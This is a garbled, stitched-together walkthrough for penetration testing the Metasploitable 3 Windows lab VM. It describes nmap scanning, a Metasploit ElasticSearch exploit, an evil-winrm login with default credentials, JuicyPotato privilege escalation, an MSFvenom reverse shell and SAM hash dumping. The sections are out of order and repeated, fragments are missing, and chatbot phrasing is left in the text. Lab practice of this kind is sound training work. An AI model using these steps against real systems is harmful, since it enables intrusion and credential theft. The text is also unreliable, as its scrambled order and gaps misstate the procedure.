use exploit/multi/elasticsearch/search_groovy_script . Configure: Set RHOSTS and your LHOST (Kali IP). Run: Gain access as the user running the service . Path C: FTP Brute Force & Web Shell (Port 21/80)
The first step in any penetration test is identifying open ports and services. Using , we scan the target IP to find potential entry points. nmap -sV -sC -Pn Key Findings Port 80/443 : Web services (IIS). : SMB (Microsoft-DS). : MySQL database. : GlassFish Server. Port 16170 : Management agents (often vulnerable). 2. Exploiting the GlassFish Server (Port 8080)
In this walkthrough, we will compromise the Windows Server 2008 R2 instance from start to finish using a variety of tools, though primarily focusing on the Metasploit Framework.
If you would like to dive deeper into any of these steps, please let me know: metasploitable 3 windows walkthrough
Search for specific exploits matching the FTP banner version discovered during the Nmap scan using searchsploit . 4. Privilege Escalation to SYSTEM
If you gain a low-privileged shell (e.g., via the web server), you must escalate privileges. Local Enumeration whoami /priv to check for enabled tokens like SeImpersonatePrivilege JuicyPotato SeImpersonatePrivilege
Routinely update third-party software (ManageEngine, ElasticSearch) and apply critical Windows security rollups. use exploit/multi/elasticsearch/search_groovy_script
evil-winrm -i <target_IP> -u vagrant -p vagrant
Retrieve password hashes from the SAM database for offline cracking: lsa_dump_sam Use code with caution. Searching for Hidden Flags
Walkthroughs often highlight specific high-value services that serve as entry points: Path C: FTP Brute Force & Web Shell
: Open PowerShell or Git Bash and run: git clone https://github.com
Run vagrant up to automatically build and start the VM. This process typically takes 20–40 minutes.
After completing your penetration testing practice, revert the VM to a clean state to remove all changes:
If your whoami /priv output shows SeImpersonatePrivilege enabled: Upload the JuicyPotato.exe binary to the target. Create a reverse shell executable using MSFvenom.